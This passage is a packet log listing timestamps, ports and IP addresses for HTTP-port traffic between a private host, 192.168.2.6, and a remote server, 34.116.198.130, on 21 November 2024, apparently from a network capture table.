Nov 21, 2024 14:11:30.156477928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.156733036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.157061100 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.157272100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.157388926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.157437086 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.158081055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.158205986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.158272028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.158864021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.158991098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.159059048 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.159676075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.159765005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.159913063 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.160459995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.160573006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.160609961 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.161268950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.161585093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.161629915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.161679983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.162385941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.162437916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.162451982 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.163178921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.163285971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.163290977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.163973093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.164047003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.313247919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.313443899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.313513041 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.313641071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.313783884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.313841105 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.314372063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.314503908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.314645052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.315155983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.317194939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.317270994 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.317298889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.317635059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.317677975 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.317831993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.317907095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.318017960 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.318568945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.318711042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.318856001 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.319375038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.319633961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.320065022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.320117950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.320262909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.320306063 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.320908070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.321022987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.321073055 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.321851969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.322031021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.322132111 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.322491884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.322590113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.322647095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.323328018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.323441029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.323622942 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.324095964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.324222088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.324285030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.324888945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.325089931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.325162888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.325710058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.325807095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.325850964 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.326502085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.326553106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.326654911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.327292919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.327398062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.327454090 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.328125000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.328218937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.328303099 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.328941107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.329138994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.329212904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.329683065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.329798937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.329854965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.330470085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.330571890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.330610037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.331252098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.331350088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.331513882 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.332053900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.332154989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.332228899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.332906008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.333000898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.333058119 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.333642006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.333758116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.333833933 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.334491014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.334620953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.334690094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.335246086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.335515976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.335719109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.336035013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.336179018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.336317062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.336829901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.336941957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.336997986 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.337650061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.337745905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.338037014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.338419914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.338517904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.338634968 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.339234114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.339345932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.339483023 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.340008974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.340112925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.340186119 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.340797901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.340935946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.341022015 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.341609001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.341720104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.341924906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.342448950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.342626095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.342670918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.343281031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.343372107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.343530893 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.344023943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.344162941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.344230890 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.344806910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.344892025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.344938993 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.345597029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.345678091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.345844030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.346416950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.346524954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.346719980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.347204924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.347330093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.347517967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.347969055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.348093033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.348213911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.348798990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.349040031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.349121094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.349580050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.349699974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.349781036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.350450993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.350600004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.351093054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.351181030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.351361036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.351413012 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.352020025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.352152109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.352206945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.352807045 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.352921963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.353018999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.353588104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.353713989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.353780031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.354374886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.354546070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.354876041 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.355170965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.355350971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.355422974 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.355964899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.356110096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.356427908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.505517960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.505564928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.505706072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.505716085 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.505810976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.505892992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.506531954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.506587029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.506783962 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.507287979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.509362936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.509397984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.509495020 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.509579897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.509686947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.509694099 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.510381937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.510448933 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.510500908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.511240959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.511295080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.511362076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.511996031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.512088060 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.512119055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.512789965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.512825966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.512856960 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.513566971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.513690948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.513751984 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.514378071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.514499903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.514508963 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.515157938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.515276909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.515337944 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.515937090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.516050100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.516052008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.516748905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.516876936 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.516887903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.517545938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.517678022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.517714977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.518352032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.518445969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.518455029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.519155979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.519237041 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.519382000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.519984961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.520041943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.520067930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.520730019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.520844936 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.520881891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.521553040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.521631956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.521677017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.522447109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.522483110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.522531986 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.523205042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.523300886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.523310900 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.523917913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.524094105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.524197102 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.524725914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.524799109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.524924994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.525523901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.525573015 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.525633097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.526361942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.526453018 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.526458025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.527209044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.527264118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.527282953 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.528086901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.528156042 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.528202057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.528924942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.528994083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.529004097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.529828072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.529884100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.529911041 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.530407906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.530466080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.530486107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.531075001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.531157017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.531186104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.531908989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.531958103 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.531995058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.532672882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.532778978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.532795906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.533587933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.533628941 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.533641100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.534399986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.534445047 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.534471989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.535235882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.535290956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.535342932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.536096096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.536181927 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.536206961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.536946058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.536990881 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.537051916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.537460089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.537514925 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.537538052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.538252115 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.538290977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.538356066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.539068937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.539119959 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.539176941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.539861917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.539989948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.540478945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.540654898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.540749073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.540760994 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.541446924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.541487932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.541593075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.542244911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.542340040 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.542346954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.543029070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.543080091 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.543155909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.543829918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.543910027 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.543925047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.544630051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.544728994 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.544791937 CET	80	49903	34.116.198.130	192.168.2.6
